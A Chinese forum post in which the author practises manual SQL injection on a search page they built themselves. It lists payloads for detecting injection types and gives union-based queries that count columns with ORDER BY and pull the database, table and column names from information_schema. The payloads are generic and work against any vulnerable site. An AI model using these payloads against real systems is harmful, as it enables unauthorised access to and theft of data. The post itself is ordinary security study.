|
楼主 |
发表于 2020-4-18 23:06:30
|
显示全部楼层
本帖最后由 only 于 2020-4-18 23:58 编辑
4月18日:
对自己的网页进行sql注入
今天,在重新对手工sql注入的语法再次温习过之后,我终于还是对自己写的网页下手了,首先按照常规流程,判断是否存在注入点
当我先输入1,正常,输入1’报错,说明存在注入
接下来我没要做的是判断注入类型
- 1 or 1=1 数字型注入
- 1’ or ‘1’=’1’ 字符型注入
- 1” or “1”=”1” 字符型注入
- 1%’ or 1=1 搜索型注入
复制代码 回到我自己写的网页,welcome to search!显然是搜索型,于是我输入1%’ or 1=1后,整张表都打印出来了
大概是我自己写的网页的原因,没有做任何的防止sql注入措施,一个语句,不仅判断出来了注入类型,居然整张表格都出来了,但是为了练习一下手工sql联合注入,我决定采用联合注入的方式继续走下去
假设我们到这只判断出来了注入类型为搜索型,那么我们的第二步就是确定字段数
确定字段数我们一般用order by来进行
- 输入1’ order by 1#,显示正常
- 输入1’ order by 2#显示正常
- …
- 输入1’ order by 20#显示正常
- 输入1’ order by 21#查询失败
复制代码 说明字段数有20列,知道了字段数我们就可以进行union查询了
首先获取数据库名
- 1%' union select database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
复制代码
我们可以看见数据库名为test
接下来获取表名
- 1%' union select 1,table_name ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables where table_schema='test'#
复制代码
我们知道了表名为“information”,接下来查看所有列
- 1%' union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name='information'#
复制代码
注:因为我在这个数据库里面只有一个表,因此直接table_schema,若存在很多个表,并且要获取所有表,我们可以使用group_concat()函数,group_concat(table_name),同样的获取所有的数据库和列我们都可以采用该函数
当获取到了列名之后,我们想要获得任何信息只需使用sql语句操作即可,例如:
- 1%' union select 姓名,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information#
复制代码
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|